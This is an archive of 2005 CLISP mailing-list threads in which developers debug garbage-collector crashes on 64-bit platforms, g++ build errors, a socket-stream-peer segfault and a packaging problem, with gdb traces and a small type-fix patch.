gc_unmarkcheck() function  of spvw_garcol.d forced by -DDEBUG_SPVW.


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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-14 14:25:36 +0100]:
>
> On Mon, Dec 12, 2005 at 07:33:58PM +0100, Dr. Werner Fink wrote:
>> On Fri, Dec 09, 2005 at 10:46:06AM -0500, Sam Steingold wrote:
>> > > * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-08 14:09:29 +0100]:
>> > >
>> > > Hi,
>> > >
>> > > this is the result from a compile for Linux on x86-64 with gcc 4.1.0:
>> > >
>> > > Signal 6 is SIGABRT on x86-64. The crash is always at the same
>> > > point regardless of the choosen optimization or SAFETY level.
>> > 
>> > http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355
>> 
>> Does this mean that 2.35 also chrash on AMG64?
>> Btw: A few printf's for debugging and the addresses
>> and the file location found by gdb change a lot.
>> In other words: the addresse space is fully broken.
>
> Q: Does the limit of 36 bits for mmap() ind spvw.d makes sense 
> in combination of 48 bits choosen for the address handling?

I will leave this to Bruno.

> Q: Is it known that --with-debug leads to an error within the
> gc_unmarkcheck() function  of spvw_garcol.d forced by -DDEBUG_SPVW.

what error?

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On Wed, Dec 14, 2005 at 09:02:25AM -0500, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-14 14:25:36 +0100]:
> >
> > On Mon, Dec 12, 2005 at 07:33:58PM +0100, Dr. Werner Fink wrote:
> >> On Fri, Dec 09, 2005 at 10:46:06AM -0500, Sam Steingold wrote:
> >> > > * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-08 14:09:29 +0100]:
> >> > >
> >> > > Hi,
> >> > >
> >> > > this is the result from a compile for Linux on x86-64 with gcc 4.1.0:
> >> > >
> >> > > Signal 6 is SIGABRT on x86-64. The crash is always at the same
> >> > > point regardless of the choosen optimization or SAFETY level.
> >> > 
> >> > http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355
> >> 
> >> Does this mean that 2.35 also chrash on AMG64?
> >> Btw: A few printf's for debugging and the addresses
> >> and the file location found by gdb change a lot.
> >> In other words: the addresse space is fully broken.
> >
> > Q: Does the limit of 36 bits for mmap() ind spvw.d makes sense 
> > in combination of 48 bits choosen for the address handling?
> 
> I will leave this to Bruno.
> 
> > Q: Is it known that --with-debug leads to an error within the
> > gc_unmarkcheck() function  of spvw_garcol.d forced by -DDEBUG_SPVW.
> 
> what error?

This one:

./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
STACK depth: 22389
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2005

Object 0x333a78000 marked!!

Object 0x333a78000 marked!!

Object 0x333a78000 marked!!

[... 1269 times repeated ...]

Object 0x333a78000 marked!!
make: *** [interpreted.mem] Segmentation fault



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Sam Steingold schrieb:
> I took a different path - in line with existing code in unix.d
> thanks for reporting the bug.

Sorry for replying so late...

I think your path introduces a security issue: realpath does not notice 
that MAXPATHLEN is defined in the code; it still assumes that it acts on 
a system without any limits.  So if the path is longer than MAXPATHLEN, 
a buffer overflow might occur.

However, I will check other uses of MAXPATHLEN and try to fix them in 
compliance to the GNU coding standards, which definitely prohibit 
artificial limitations.  The definition of MAXPATHLEN in unix.d might 
introduce yet other security issues.

Those fixes will not touch the existing code a non-trivial way, as 
MAXPATHLEN is a system limitation and it is safe to work with if it is 
actually imposed by the system.

GNU libc provides features that work without artificial limits 
conveniently (as realpath() accepting NULL as I used in my patch).  I 
am, however, unsure about other other systems that might not define 
MAXPATHLEN but work a different way here.  Perhaps individual configure 
checks are the right way to examine this, even though I am not aware of 
any platform that might cause problems.  Defining MAXPATHLEN on one's 
own is probably never a clean fix.  It is even a bit dangerous because 
it hides the problems instead of fixing them.

I will send you the patch when it is done.


Sören


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Hi,

just found the same error in hashtable handling on IA64:

(LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))
Exiting on signal 6

... seems to be a common problem on 64 bit architectures.

On both architectures I see a broken address in avl_spvw_move
at line 643 of avl.d used with locale pointer nodeplace:

#0  0x4000000000027a30 in avl_spvw_move (stack=0x60000ffffffee688) at avl.d:643
643           if (node->nodedata.right == EMPTY)

Please note that I've disabled TRIVIALMAP_MEMORY for AMD64
by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to
the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply
to avoid a potenial 36/48 bit addressing problem within mmap.


     Werner

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On Wed, Dec 14, 2005 at 04:36:17PM +0100, Dr. Werner Fink wrote:
> Hi,
> 
> just found the same error in hashtable handling on IA64:
> 
> (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))
> Exiting on signal 6
> 
> ... seems to be a common problem on 64 bit architectures.
> 
> On both architectures I see a broken address in avl_spvw_move
> at line 643 of avl.d used with locale pointer nodeplace:
> 
> #0  0x4000000000027a30 in avl_spvw_move (stack=0x60000ffffffee688) at avl.d:643
> 643           if (node->nodedata.right == EMPTY)
> 
> Please note that I've disabled TRIVIALMAP_MEMORY for AMD64
> by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to
> the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply
> to avoid a potenial 36/48 bit addressing problem within mmap.
> 

Beside this, the --with-debug switch seems to work on IA64 ;)

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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-14 16:36:17 +0100]:
>
> just found the same error in hashtable handling on IA64:
>
> (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))
> Exiting on signal 6
>
> ... seems to be a common problem on 64 bit architectures.

indeed.

> On both architectures I see a broken address in avl_spvw_move
> at line 643 of avl.d used with locale pointer nodeplace:
>
> #0  0x4000000000027a30 in avl_spvw_move (stack=0x60000ffffffee688) at avl.d:643
> 643           if (node->nodedata.right == EMPTY)
>
> Please note that I've disabled TRIVIALMAP_MEMORY for AMD64
> by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to
> the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply
> to avoid a potenial 36/48 bit addressing problem within mmap.

please see clisp/unix/PLATFORMS for the _correct_ way to disable memory
mapping.  (close to the end of file)

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On Wed, Dec 14, 2005 at 10:49:27AM -0500, Sam Steingold wrote:
> > Please note that I've disabled TRIVIALMAP_MEMORY for AMD64
> > by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to
> > the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply
> > to avoid a potenial 36/48 bit addressing problem within mmap.
> 
> please see clisp/unix/PLATFORMS for the _correct_ way to disable memory
> mapping.  (close to the end of file)

I know that, nevertheless this would be the first
step forward to a patch ;)


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On Wed, Dec 14, 2005 at 04:49:51PM +0100, Dr. Werner Fink wrote:
> On Wed, Dec 14, 2005 at 04:36:17PM +0100, Dr. Werner Fink wrote:
> > Hi,
> > 
> > just found the same error in hashtable handling on IA64:
> > 
> > (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))
> > Exiting on signal 6
> > 
> > ... seems to be a common problem on 64 bit architectures.
> > 
> > On both architectures I see a broken address in avl_spvw_move
> > at line 643 of avl.d used with locale pointer nodeplace:
> > 
> > #0  0x4000000000027a30 in avl_spvw_move (stack=0x60000ffffffee688) at avl.d:643
> > 643           if (node->nodedata.right == EMPTY)
> > 
> > Please note that I've disabled TRIVIALMAP_MEMORY for AMD64
> > by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to
> > the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply
> > to avoid a potenial 36/48 bit addressing problem within mmap.
> > 
> 
> Beside this, the --with-debug switch seems to work on IA64 ;)

Inndeed:

(LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)
) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-T
EST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (
! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)
) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))

inconsistent page at address 0x60000000001256b0

inconsistent page at address 0x6000000000135700

inconsistent page at address 0x60000000001557a0

inconsistent page at address 0x60000000000f55c0

inconsistent page at address 0x60000000001c59d0

inconsistent page at address 0x60000000001a5930

inconsistent page at address 0x6000000000145750

inconsistent page at address 0x6000000000215b60

inconsistent page at address 0x6000000000175840

inconsistent page at address 0x60000000000a5430

inconsistent page at address 0x60000000000c54d0

inconsistent page at address 0x60000000001657f0

inconsistent page at address 0x6000000000245c50

inconsistent page at address 0x60000000000b5480

inconsistent page at address 0x6000000000085390

[... 1873 times repeated ...  ]

inconsistent page at address 0x6000000000085390


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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-14 16:49:51 +0100]:
>
> On Wed, Dec 14, 2005 at 04:36:17PM +0100, Dr. Werner Fink wrote:
>> Hi,
>> 
>> just found the same error in hashtable handling on IA64:
>> 
>> (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))
>> Exiting on signal 6
>> 
>> ... seems to be a common problem on 64 bit architectures.
>> 
>> On both architectures I see a broken address in avl_spvw_move
>> at line 643 of avl.d used with locale pointer nodeplace:
>> 
>> #0  0x4000000000027a30 in avl_spvw_move (stack=0x60000ffffffee688) at avl.d:643
>> 643           if (node->nodedata.right == EMPTY)
>> 
>> Please note that I've disabled TRIVIALMAP_MEMORY for AMD64
>> by adding `&& !(defined(AMD64) && defined(UNIX_LINUX))' to
>> the definition of TRIVIALMAP_MEMORY in lispbibl.d ... simply
>> to avoid a potenial 36/48 bit addressing problem within mmap.
>> 
>
> Beside this, the --with-debug switch seems to work on IA64 ;)

I tried building with DEBUG_GCSAFETY on AMD64 but is it broken - by the
same patch!
could you please try on IA64
$ CC=g++ ./configure --with-debug --build build-g-gxx
and -- if the build succeeds -- try the offending code above.
thanks!

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On Wed, Dec 14, 2005 at 11:41:38AM -0500, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-14 16:49:51 +0100]:
> 
> I tried building with DEBUG_GCSAFETY on AMD64 but is it broken - by the
> same patch!
> could you please try on IA64
> $ CC=g++ ./configure --with-debug --build build-g-gxx
> and -- if the build succeeds -- try the offending code above.
> thanks!

Build is running.  Beside this, why is the macro unbound
set to 0xFFFFFFUL ... wouldn't be the mask oint_addr_mask
not a better choice?  With oint_addr_mask for unbound
I get on IA64 always the same address in the message
from DEBUG_SPVW.

Args ... build has stopped with:

g++  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -Wno-invalid-offsetof -falign-functions=4 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DDEBUG_GCSAFETY -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -O0 -g3  -c spvw.c
spvw_objsize.d: In function 'void init_objsize_table()':
spvw_objsize.d:452: error: invalid conversion from 'uintL (*)(void*)' to 'uintM (*)(void*)'
spvw_objsize.d:458: error: invalid conversion from 'uintL (*)(void*)' to 'uintM (*)(void*)'
spvw_gcmark.d: In function 'void gc_mark(object)':
spvw_gcmark.d:6: internal compiler error: in check_initializer, at cp/decl.c:4613
Please submit a full bug report,
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CLISP 2.36 on MacOS 10.3.9 (Darwin  7.9.0)

Running this in clisp:

(defvar *socket* (socket-server 4444))
(let ((s (ext:socket-accept *socket*)))
   (format t "~&Socket accepted~%")
   (let ((p (socket-stream-peer s)))
     (format t "~&peer~%")
     (print p))
   (close s)
   (socket-server-close *socket*))


And then

     telnet localhost 4444

Results in the clisp crashing with:

	Socket accepted
	
	*** - handle_fault error2 ! address = 0xfc50b508 not in 
[0x666fcb08,0x66766000) !
	SIGSEGV cannot be cured. Fault address = 0xfc50b508.
	Permanently allocated: 87456 bytes.
	Currently in use: 1730776 bytes.
	Free space: 504792 bytes.
	Segmentation fault

It does seem that it is socket-stream-peer that crashes.
Interestingly if the code is compiled the result is different:

	$ clisp -C clisp-bug-1.lisp
	Socket accepted
	peer
	
	"127.0.0.1 (localhost)"
	*** - NO-APPLICABLE-METHOD: When calling #<STANDARD-GENERIC-FUNCTION 
CLOSE>
	      with arguments (#<COMPILED-FUNCTION #:COMPILED-FORM-117>), no 
method is
	      applicable.

The error here doesn't make sense. Perhaps there is stack corruption. 
Then it might be something else then socket-stream-peer that cause the 
corruption.

//Lennart Staflin



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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-14 17:57:08 +0100]:
>
> On Wed, Dec 14, 2005 at 11:41:38AM -0500, Sam Steingold wrote:
>> > * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-14 16:49:51 +0100]:
>> 
>> I tried building with DEBUG_GCSAFETY on AMD64 but is it broken - by the
>> same patch!
>> could you please try on IA64
>> $ CC=g++ ./configure --with-debug --build build-g-gxx
>> and -- if the build succeeds -- try the offending code above.
>> thanks!
>
> Build is running.  Beside this, why is the macro unbound set to
> 0xFFFFFFUL ... wouldn't be the mask oint_addr_mask not a better
> choice?  With oint_addr_mask for unbound I get on IA64 always the same
> address in the message from DEBUG_SPVW.

hack away - but don't forget also
disabled
specdecl
eof_value
dot_value

> Args ... build has stopped with:
>
> g++  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -Wno-invalid-offsetof -falign-functions=4 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DDEBUG_GCSAFETY -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -O0 -g3  -c spvw.c
> spvw_objsize.d: In function 'void init_objsize_table()':
> spvw_objsize.d:452: error: invalid conversion from 'uintL (*)(void*)' to 'uintM (*)(void*)'
> spvw_objsize.d:458: error: invalid conversion from 'uintL (*)(void*)'
> to 'uintM (*)(void*)'

please try the appended patch.
thanks!

> spvw_gcmark.d: In function 'void gc_mark(object)':
> spvw_gcmark.d:6: internal compiler error: in check_initializer, at cp/decl.c:4613
> Please submit a full bug report,
> with preprocessed source if appropriate.

please _DO_ file the bug report (assuming your gcc is sufficiently recent)


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--- spvw_objsize.d	07 Jan 2005 09:42:29 -0500	1.20
+++ spvw_objsize.d	14 Dec 2005 12:48:38 -0500	
@@ -127,7 +127,7 @@
                              sizeof(uintD),(uintL)(length))
 
 # special functions for each type:
-inline local uintL objsize_iarray (void* addr) { # non-simple array
+inline local uintM objsize_iarray (void* addr) { # non-simple array
   var uintL size;
   size = (uintL)iarray_rank((Iarray)addr);
   if (iarray_flags((Iarray)addr) & bit(arrayflags_fillp_bit))
@@ -138,7 +138,7 @@
   return size_iarray(size);
 }
 
-inline local uintL objsize_s8string (void* addr) { # mutable S8string
+inline local uintM objsize_s8string (void* addr) { # mutable S8string
   var uintL len = sstring_length((S8string)addr);
   var uintL size = size_s8string(len);
  #ifdef HAVE_SMALL_SSTRING
@@ -150,7 +150,7 @@
   return size;
 }
 
-inline local uintL objsize_s16string (void* addr) { # mutable S16string
+inline local uintM objsize_s16string (void* addr) { # mutable S16string
   var uintL len = sstring_length((S16string)addr);
   var uintL size = size_s16string(len);
  #ifdef HAVE_SMALL_SSTRING
@@ -162,11 +162,11 @@
   return size;
 }
 
-inline local uintL objsize_s32string (void* addr) { # S32string
+inline local uintM objsize_s32string (void* addr) { # S32string
   return size_s32string(sstring_length((S32string)addr));
 }
 
-inline local uintL objsize_sstring (void* addr) { # simple-string
+inline local uintM objsize_sstring (void* addr) { # simple-string
  #ifdef TYPECODES
   #ifdef HAVE_SMALL_SSTRING
   if (sstring_reallocatedp((Sstring)addr)) goto case_sistring;


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Date: Wed Dec 14 10:20:01 2005
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On Wed, Dec 14, 2005 at 12:49:12PM -0500, Sam Steingold wrote:
> >
> > Build is running.  Beside this, why is the macro unbound set to
> > 0xFFFFFFUL ... wouldn't be the mask oint_addr_mask not a better
> > choice?  With oint_addr_mask for unbound I get on IA64 always the same
> > address in the message from DEBUG_SPVW.
> 
> hack away - but don't forget also
> disabled
> specdecl
> eof_value
> dot_value

OK.

> 
> > Args ... build has stopped with:
> >
> > g++  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -Wno-invalid-offsetof -falign-functions=4 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DDEBUG_GCSAFETY -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -O0 -g3  -c spvw.c
> > spvw_objsize.d: In function 'void init_objsize_table()':
> > spvw_objsize.d:452: error: invalid conversion from 'uintL (*)(void*)' to 'uintM (*)(void*)'
> > spvw_objsize.d:458: error: invalid conversion from 'uintL (*)(void*)'
> > to 'uintM (*)(void*)'
> 
> please try the appended patch.
> thanks!

Yep

> 
> > spvw_gcmark.d: In function 'void gc_mark(object)':
> > spvw_gcmark.d:6: internal compiler error: in check_initializer, at cp/decl.c:4613
> > Please submit a full bug report,
> > with preprocessed source if appropriate.
> 
> please _DO_ file the bug report (assuming your gcc is sufficiently recent)

Just done, the gcc 4.1.0 is 2005/11/29 respectivly 2005/12/11
both with the appropiate bug fixes.  Maybe I try at tomorrow
to build clisp 2.36 on an old SuSE distri with an older gcc.

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> * Lennart Staflin <yrafg@ylfngbe.yvh.fr> [2005-12-14 18:30:09 +0100]:
>
> 	*** - handle_fault error2 ! address = 0xfc50b508 not in
>               [0x666fcb08,0x66766000) !
> 	SIGSEGV cannot be cured. Fault address = 0xfc50b508.
> 	Permanently allocated: 87456 bytes.
> 	Currently in use: 1730776 bytes.
> 	Free space: 504792 bytes.
> 	Segmentation fault
>
> It does seem that it is socket-stream-peer that crashes.

indeed - this is now fixed in the CVS.
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On Wed, Dec 14, 2005 at 07:18:54PM +0100, Dr. Werner Fink wrote:
> > > spvw_objsize.d: In function 'void init_objsize_table()':
> > > spvw_objsize.d:452: error: invalid conversion from 'uintL (*)(void*)' to 'uintM (*)(void*)'
> > > spvw_objsize.d:458: error: invalid conversion from 'uintL (*)(void*)'
> > > to 'uintM (*)(void*)'
> > 
> > please try the appended patch.
> > thanks!
> 
> Yep

It works.

> 
> > 
> > > spvw_gcmark.d: In function 'void gc_mark(object)':
> > > spvw_gcmark.d:6: internal compiler error: in check_initializer, at cp/decl.c:4613
> > > Please submit a full bug report,
> > > with preprocessed source if appropriate.
> > 
> > please _DO_ file the bug report (assuming your gcc is sufficiently recent)
> 
> Just done, the gcc 4.1.0 is 2005/11/29 respectivly 2005/12/11
> both with the appropiate bug fixes.  Maybe I try at tomorrow
> to build clisp 2.36 on an old SuSE distri with an older gcc.

This does not work, g++ seems to be to old.  I'm trying now
to debug this with gdb and fprintf's mixed.  On x86_64 I've
found this:

---------------------------------------------------------------------------
(LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))
down: vorg = 0x17000333b9d728, dies = 0x486273950000000c

Program received signal SIGABRT, Aborted.
0x00002aaaaaf91a25 in raise () from /lib64/libc.so.6
(gdb) up
#1  0x00002aaaaaf92d0e in abort () from /lib64/libc.so.6
(gdb) up
#2  0x0000000000419d73 in gc_mark (obj=<value optimized out>) at spvw_gcmark.d:251
251           /*NOTREACHED*/ abort();
(gdb) 
---------------------------------------------------------------------------

The message `down: vorg = 0x17000333b9d728, dies = 0x486273950000000c'
is from the copied fprintf at line 200 with PRIoint choosen to `l'
in file spvw_gcmark.d.


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Date: Thu Dec 15 08:21:01 2005
X-Original-Date: Thu, 15 Dec 2005 17:19:53 +0100

On Thu, Dec 15, 2005 at 03:44:19PM +0100, Dr. Werner Fink wrote:
> 
> This does not work, g++ seems to be to old.  I'm trying now
> to debug this with gdb and fprintf's mixed.  On x86_64 I've
> found this:
> 
> ---------------------------------------------------------------------------
> (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))
> down: vorg = 0x17000333b9d728, dies = 0x486273950000000c
> 
> Program received signal SIGABRT, Aborted.
> 0x00002aaaaaf91a25 in raise () from /lib64/libc.so.6
> (gdb) up
> #1  0x00002aaaaaf92d0e in abort () from /lib64/libc.so.6
> (gdb) up
> #2  0x0000000000419d73 in gc_mark (obj=<value optimized out>) at spvw_gcmark.d:251
> 251           /*NOTREACHED*/ abort();
> (gdb) 
> ---------------------------------------------------------------------------
> 
> The message `down: vorg = 0x17000333b9d728, dies = 0x486273950000000c'
> is from the copied fprintf at line 200 with PRIoint choosen to `l'
> in file spvw_gcmark.d.

It seems that at least the factorial called with (ext:! <number>)
destroys the memory managment of clisp.  If I do the following

 (let ((ht (make-hash-table :test 'ext:fasthash-eq)))
   (defstruct ht-test-struct a b c)
   (setq x (make-ht-test-struct :a 1 :b 2 :c ht))
   (setf (gethash ht ht) ht
         (gethash x ht) 12)
   (setq x (read-from-string (with-standard-io-syntax (write-to-string x)))
         ht (ht-test-struct-c x))
 ; (setf (ht-test-struct-a x) (ext:! 123)
 ;       (gethash (ext:! 20) ht) (ext:! 21)
 ;       (gethash (ext:! 21) ht) (ext:! 22)
 ;       (gethash (ext:! 22) ht) (ext:! 23))
   (setf (ht-test-struct-a x) (ext:! 12)
         (gethash (ext:! 2) ht) (ext:! 2)
         (gethash (ext:! 2) ht) (ext:! 2)
         (gethash (ext:! 2) ht) (ext:! 2))
   (ext:gc)
 ; (setf (ht-test-struct-b x) (ext:! 124)
 ;       (gethash (ext:! 30) ht) (ext:! 61)
 ;       (gethash (ext:! 41) ht) (ext:! 72)
 ;       (gethash (ext:! 52) ht) (ext:! 83))
   (setf (ht-test-struct-b x) (ext:! 14)
         (gethash (ext:! 3) ht) (ext:! 6)
         (gethash (ext:! 4) ht) (ext:! 7)
         (gethash (ext:! 5) ht) (ext:! 8))
   (ext:gc)
   (list (eq (gethash ht ht) ht)
         (gethash x ht)))

all went OK.  There is an overflow in handling extrem
large numbers like !123.  The next gc let clisp die
after such a number.


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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-15 17:19:53 +0100]:
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> It seems that at least the factorial called with (ext:! <number>)
> destroys the memory managment of clisp.

even (! 1000) does not cause a crash.
something else is in play here too.
we need a DEBUG_GCSAFETY build on a 64-bit platform.

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I don't know if it is the correct place to sumbmit mistakes, but is
the one in README, apologies if not.

2.36 Linux binaries on Sourceforge are useless, because they contain
particular directories included verbatim.  When calling make:

cc -O  base/modules.o base/regexi.o base/regex.o base/calls.o -lcrypt -lm 
base/gettext.o base/lisp.a base/libcharset.a base/libavcall.a 
base/libcallback.a -ldl -L/home/users/s/sd/sds/top/Linux-i686/lib 
-lsigsegv -lc -o base/lisp.run
/usr/bin/ld: cannot find -lsigsegv
collect2: ld returned 1 exit status
make: *** [base/lisp.run] Error 1

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Sam Steingold <sds <at> gnu.org> writes:

> 
> > * Alan Oursland <bhefynaq <at> pf.hgrknf.rqh> [2004-12-01 17:19:35 -0600]:
> >
> > Thanks. I was hoping for an answer like "clisp includes the POSIX
> > package. Just run this command to load it". I guess that is not the
> > case.
> 
> CLISP does include a POSIX package in the syscalls module:
> $ ./configure --with-module=syscall --build build-with-syscalls
> $ ./build-with-syscalls/clisp -K full
> [1]> (find-package "POSIX")
> #<PACKAGE POSIX>
> 
